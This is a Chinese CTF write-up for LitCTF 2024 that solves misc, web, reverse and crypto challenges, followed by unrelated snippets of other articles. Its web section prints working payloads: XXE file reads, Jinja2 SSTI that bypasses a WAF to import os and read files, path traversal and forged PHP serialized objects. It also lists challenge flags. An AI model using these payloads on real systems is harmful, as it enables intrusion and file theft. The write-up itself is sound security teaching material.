LitCTF 2024(公開賽道)——WP

目錄

Misc

涐貪戀和伱、甾―⑺dé毎兮毎秒

你說得對,但__

盯幀珍珠

Everywhere We Go

關鍵,太關鍵了!

女裝照流量

原鐵,啟動!

舔到最后應有盡有

The love

Web

exx

一個....池子?

SAS - Serializing Authentication System

瀏覽器也能套娃?

高亮主題(劃掉)背景查看器

百萬美元的誘惑

Reverse

編碼喵

Crypto

common_primes


Misc

涐貪戀和伱、甾―⑺dé毎兮毎秒

題目只給了一張圖片,zsteg秒了,flag:LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}

你說得對,但__

題目只給了一個png文件,是個二維碼

直接掃描得到云·原神(原神哈哈哈哈哈!!!)

將圖片放到010里面發現文件頭為jpg格式的,修改后綴后進行分離(可使用binwalk或者foremost)

得到四部分不完整的二維碼,猜測拼接后掃描

掃描后得到flag:LitCTF{Genshin_St@rt!!}

盯幀珍珠

題目給了一張jpg圖片,放到010里面發現文件頭為gif格式的,修改后綴后使用工具分離得到一堆圖片,在其中可以發現組成flag的部分

最終的flag為:LitCTF{You_are_really_staring_at_frames!}

Everywhere We Go

題目只給了一個音頻文件secret.wav,放入Audacity查看一下,切換到頻譜圖,放大后發現flag:flag{Calculate_Step_By_Step}

即:LitCTF{Calculate_Step_By_Step}

關鍵,太關鍵了!

題目給了兩個文本flag.txt和key.txt,根據題目提示,將key.txt內容字頻統計一下可以到一個暫定的key:bingo

題目名叫關鍵,猜測為關鍵字解密,用隨波逐流秒了,flag:LitCTF{i_miss_you_boss}

女裝照流量

我們拿到一個流量包,首先查看它的http流

發現很多上傳文件的流量,分析過后得到關鍵信息(注意:因為蟻劍的流量為url編碼+base64混淆。我們需要先進行url解密,在進行base解密)

通過上述流量我們可以得到密鑰key:PaSsw0rd_LitCtF_L0vely_tanJi

分析過程如下:

Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx ? ? #屬于蟻劍的流量特征,這里需要我們刪除流量信息中的前兩個字符后才能得到無混淆base64。
base64解密后得到
cd /d "C:\\Program Files\\phpstudy_pro\\WWW\\LitCTF-pcapng"&zip -P "PaSsw0rd_LitCtF_L0vely_tanJi" f1ag.zip flag.php&echo 1a925&cd&echo 6ffeb1

這個流量包的信息是

QzovUHJvZ3JhbSBGaWxlcy9waHBzdHVkeV9wcm8vV1dXL0xpdENURi1wY2FwbmcvZjFhZy56aXA=
base64解密后得到
C:/Program Files/phpstudy_pro/WWW/LitCTF-pcapng/f1ag.zip ? ? #說明這里有一個zip文件

我們將其提取出來發現需要密碼,用前面分析得到key即可進行解壓縮,得到flag:LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}

<?php $flag = "LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}";

原鐵,啟動!

一眼丁真,對照后得到flag:LitCTF{good_gamer}

舔到最后應有盡有

base64隱寫,PuzzleSolver秒了,flag:LitCTF{TanJi_j1e_jie_n1_dAi_w0_z0u_b_}

The love

題目給了一張圖片和一個音頻文件,將圖片放入010發現尾部有 Litctf??????ftctiL 并發現PK字樣

這里肯定是分離得到zip文件,然后進行掩碼攻擊了,得到密鑰:Litctf202405ftctiL

解壓后得到一個假的flag.txt,和一個含有base字符串的password.txt

flag{這是假的!!!就像愛情_以為得到了_還是得不到}
?
Ykc5MlpWOXBjMTl3WVdsdVpuVnM=
base64解密:bG92ZV9pc19wYWluZnVs
base64解密:love_is_painful

最后的key為:love_is_painful

用deepsound解密音頻后得到flag_real.txt,最終的flag為:Litctf{wish_you_can_find_your_true_love}

Web

exx

題目給了一個登錄頁面,隨便輸入賬號密碼(admin,123456),burp抓包

根據題目描述,這題考點xxe沒跑了

#payload如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/resource=/flag">     #利用php協議讀取/flag
]>
<user><username>
&xxe;                                                    #調用xxe,執行語句"php://filter/resource=/flag"
</username><password>123456</password></user>
?

一個....池子?

首先隨便輸入123,返回結果是123

接著我們嘗試輸入{{3*3}},返回結果為9

標準的ssti模版注入,我們首先查看一下app.py(最好用burp抓包顯示,看起來方便)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

可以在里面找到waf,過濾了一些字符。我們可以用字符串拼接的方式繞過waf

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

找到了flag文件,字符串拼接讀取flag(flag不拼接也可以,沒過濾flag,我這里套的模版)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/fl'+'ag','r').read()}}{% endif %}{% endfor %}

SAS - Serializing Authentication System

題目如下

 
#密鑰許可規則
?
<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?
?這個PHP代碼定義了一個名為 User 的類,并包括以下幾個部分:
屬性:
$username:公共屬性,用于存儲用戶名。
$password:公共屬性,用于存儲密碼。
構造函數:
__construct($username, $password):這是類的構造函數,接受兩個參數(用戶名和密碼)。構造函數在創建對象時被自動調用,初始化 username 和 password 屬性。
?
方法:
isValid():這個方法用于驗證用戶名和密碼是否匹配預定義的值。它返回一個布爾值(true 或 false)。在這個示例中,當 username 為 'admin' 且 password 為 'secure_password' 時,返回 true,否則返回 false。

分析過后編寫poc,如下

<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() {return $this->username === 'admin' && $this->password === 'secure_password';}
}$user = new User('admin', 'secure_password');
echo base64_encode(serialize($user));
?>
#在主代碼中,創建了一個新的User對象,用戶名為'admin',密碼為'secure_password'。然后,使用serialize()函數將該對象序列化為字符串,并使用base64_encode()函數對其進行編碼。

運行后得到payload:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=

瀏覽器也能套娃?

題目如下

直接在輸入框中讀取flag即可,這里使用PHP偽協議

php://filter/resource=/flag

?

高亮主題(劃掉)背景查看器

題目如下

 
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {// 讀取并包含用戶輸入的文件$file = $_GET['url'];if (strpos($file, '..') === false) {include $file;} else {echo "Access denied.";}
} else {echo "No file specified.";
}
?>

分析過后,其實就是一個簡單的文件包含theme=theme1.php,burp抓包修改請求方式為post

先ls看一下,沒發現什么重要的信息,猜測flag在根目錄或者更高級目錄

目錄穿越一下,得到flag

theme=../../../../flag

百萬美元的誘惑

這個題目有兩層,第一層

第一層payload如下

?a[]=1&b[]=2&c=2025a

訪問dollar.php,來到第二層

第二層payload如下

?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源碼后得到flag

Reverse

編碼喵

查殼后64位,放入ida

shift+f12,發現一串base64密文,和一個解密映射表(base64換表解密)

 
tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0=      #密文
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/  #映射表

賽博櫥子秒了,flag:LitCTF{03034ed8-a2da-4aa6-b2c9-01ace9e26301}

Crypto

common_primes

#infofrom Crypto.Util.number import *
from secret import flagm = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1
n2 = p * q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")'''
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
'''
#expimport libnum
import gmpy2e= 65537
n1= 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2= 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1= 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2= 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420#求最大公約數
q=gmpy2.gcd(n1,n2)
p1=n1//qphi_n=(q-1)*(p1-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print("m=",m)
#數字轉字節,轉字符串
print(libnum.n2s(int(m)).decode())
#outputm= 38001428468493606140291085290464475306493666574265620008311218108580381088400212852503677
LitCTF{c0mmunity_w1th_two_ciphert3xt}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/21172.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/21172.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/21172.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL—函數—日期函數(基礎)

一、引言 接下來討論和學習關于函數的第三個方面——日期函數。 常見的MySQL當中的日期函數。 注意&#xff1a; 1、CURDATE()&#xff1a;cur&#xff1a;current 當前的&#xff0c;返回的是當前日期。 2、CURTIME()&#xff1a;當前時間。 3、NOW&#xff1a;當前的日期和…

Java語言高級編程:探索深層機制與應用技巧

Java語言高級編程&#xff1a;探索深層機制與應用技巧 在編程世界中&#xff0c;Java以其穩定、強大和跨平臺的特性贏得了廣泛的贊譽和應用。對于已經掌握Java基礎知識的開發者來說&#xff0c;深入Java語言的高級編程領域&#xff0c;無疑將開啟全新的技術視野。那么&#xf…

政安晨【零基礎玩轉各類開源AI項目】:解析開源項目的論文:Physical Non-inertial Poser (PNP)

政安晨的個人主頁&#xff1a;政安晨 歡迎 &#x1f44d;點贊?評論?收藏 收錄專欄: 零基礎玩轉各類開源AI項目 希望政安晨的博客能夠對您有所裨益&#xff0c;如有不足之處&#xff0c;歡迎在評論區提出指正&#xff01; 本文解析的原始論文為&#xff1a;https://arxiv.org/…

力扣1143. 最長公共子序列

給定兩個字符串 text1 和 text2&#xff0c;返回這兩個字符串的最長 公共子序列 的長度。如果不存在 公共子序列 &#xff0c;返回 0 。 一個字符串的 子序列 是指這樣一個新的字符串&#xff1a;它是由原字符串在不改變字符的相對順序的情況下刪除某些字符&#xff08;也可以…

【TB作品】MSP430G2533,讀取dht11,顯示到lcd1602顯示屏,串口發送到電腦

功能 讀取dht11&#xff0c;顯示到lcd1602顯示屏&#xff0c;串口發送到電腦。 部分程序 void main(void) {char disp[20];char count 0;WDTCTL WDTPW WDTHOLD; // Stop WDTP1DIR 0Xff;P1SEL 0X00;P1SEL2 0X00;P2DIR 0Xff;P2SEL 0X00;P2SEL2 0X00;L…

為什么需要開局調用函數?

初始化操作&#xff1a;在你的應用程序啟動時&#xff0c;可能需要執行一些初始化操作&#xff0c;例如設置默認值、加載配置、建立數據庫連接等。開局調用函數可以幫助你集中管理這些操作&#xff0c;確保它們在應用程序啟動時順利執行。 統一入口&#xff1a;通過一個統一的…

打造你的專屬Vue組件:基于FullCalendar超實用“日程任務管理組件”實戰

打造你的專屬Vue組件&#xff1a;基于FullCalendar超實用“日程任務管理組件”實戰 在現代Web應用中&#xff0c;日程管理是一個常見而又關鍵的功能&#xff0c;它幫助用戶高效安排和追蹤日常任務及會議。Vue.js作為一個流行的前端框架&#xff0c;以其簡潔的語法和強大的組件…

編譯選項導致的結構體字節參數異常

文章目錄 前言問題描述原因分析問題解決總結 前言 在構建編譯工程時&#xff0c;會有一些對應的編譯配置選項&#xff0c;不同的編譯器&#xff0c;會有對應的配置項。本文介紹GHS工程中編譯選項配置不對應導致的異常。 問題描述 在S32K3集成工程中&#xff0c;核1的INP_SWC…

transformer中的ffn

## import torch import torch.nn as nn import torch.nn.functional as F import logging logging.basicConfig(levellogging.INFO, format%(asctime)s %(levelname)s: %(message)s) # 定義FFN層 class FeedForwardNetwork(nn.Module): def __init__(self, input_dim, hi…

python運營商身份證二要素查驗接口、身份證實名認證接口

隨著網絡服務安全需求的日益增長&#xff0c;個人信息的真實性和安全性成為了眾多在線平臺關注的焦點。近日&#xff0c;為應對這一挑戰&#xff0c;翔云人工智能接口開放平臺提供了Python語言的身份證二要素查驗接口”及“實名認證接口”&#xff0c;旨在為各行業提供高效、準…

將字符串 “()“ ““ “|“ 條件組成的復雜表達式轉換為ES查詢語句

應用場景 "()" "&" "|" 這幾個條件對于我們來說并不陌生, 其表達的邏輯非常明了, 又能通過很少的字符表達很復雜的嵌套關系, 在一些復雜的查詢中會經常用到, 因此我最近也遇到了類似的問題,一開始覺得這類的工具應該挺常見的, 結果搜了半天…

JVM垃圾收集器和內存分配策略

概述 Java內存運行時數據區的程序計數器、虛擬機棧、本地方法棧3個區域會隨著線程而產生&#xff0c;隨線程而消失。這幾個區域分配多少內存時在類結構確定下來即已知的&#xff0c;在這幾個區域內就不需要過多考慮如何回收內存的問題&#xff0c;當方法結束或者線程結束時&am…

【spring】第一篇 IOC和DI入門案例

Spring到底是如何來實現IOC和DI的&#xff0c;那接下來就通過一些簡單的入門案例&#xff0c;來演示下具體實現過程。 目錄 前期準備 一、IOC入門案例 思路分析 代碼實現 二、DI入門案例 思路分析 代碼實現 總結 前期準備 使用IDEA創建Maven項目&#xff0c;首先需要配…

JAVAEE1

Web前端&#xff1a; 1.建立web開發的息維模式寫代碼不僅僅是為了實現某個功能&#xff0c;更是學習解決問題的思維方式 2.先使用&#xff0c;再理解&#xff0c;會導致剛開始比較懵&#xff0c;不知其所以然.切忌不可深陷其中&#xff0c; 3.涉及簡單的軟件工程的設計思想&…

Springboot整合kafka簡單使用

kafka 一&#xff0c;介紹 Kafka 是一個開源的分布式流處理平臺&#xff0c;最初由 LinkedIn 開發并貢獻給 Apache 軟件基金會。它設計用于構建高性能、持久性、可伸縮和容錯的實時數據管道和流處理應用程序。 以下是 Kafka 的一些關鍵特點和概念&#xff1a; 發布-訂閱模型…

SPWM載波調制方式-三電平雜記1

方法一&#xff1a; P2 O1 N0 方法二&#xff1a;雙載波直接發波 方法三&#xff1a;負軸載波和調制波往上抬升1&#xff0c;得到使用同一個載波 在正半周在P和O切換&#xff0c;在下半軸式O和N切換

自動評論自動私信引流系統,自動化時代的挑戰與機遇

隨著科技的飛速發展&#xff0c;自動化技術已經滲透到我們生活的方方面面。從工業生產線上的機械臂到家庭中的智能助手&#xff0c;自動化不僅改變了我們的工作方式&#xff0c;也在重塑著社會的面貌。然而&#xff0c;在享受自動化帶來的便利和效率的同時&#xff0c;我們也必…

961題庫 北航計算機 MIPS基礎選擇題 附答案 選擇題形式

有題目和答案&#xff0c;沒有解析&#xff0c;不懂的題問大模型即可&#xff0c;無償分享。 第1組 習題 MIPS處理器五級流水線中&#xff0c;涉及DRAM的是 A. 取指階段 B. 譯碼階段 C. 執行階段 D. 訪存階段 MIPS處理器五級流水線中&#xff0c;R型指令保存結果的階段是 A.…

關于高版本 Plant Simulation 每次保存是 提示提交comm對話框的處理方法

關于高版本 Plant Simulation 每次保存是 提示提交comm對話框的處理方法 如下圖 將model saving history 修改為None即可 關于AutoCAD 2022 丟失模板庫的問題 從新從以下地址打開即可&#xff1a; D:\Program Files\Autodesk\AutoCAD 2022\UserDataCache\zh-cn\Template

Visual Studio Installer 點擊閃退

Visual Studio Installer 點擊閃退問題 1. 問題描述2. 錯誤類型3. 解決方法4. 結果5. 說明6. 參考 1. 問題描述 重裝了系統后&#xff08;系統版本&#xff1a;如下圖所示&#xff09;&#xff0c;我從官方網站&#xff08;https://visualstudio.microsoft.com/ ) 下載了安裝程…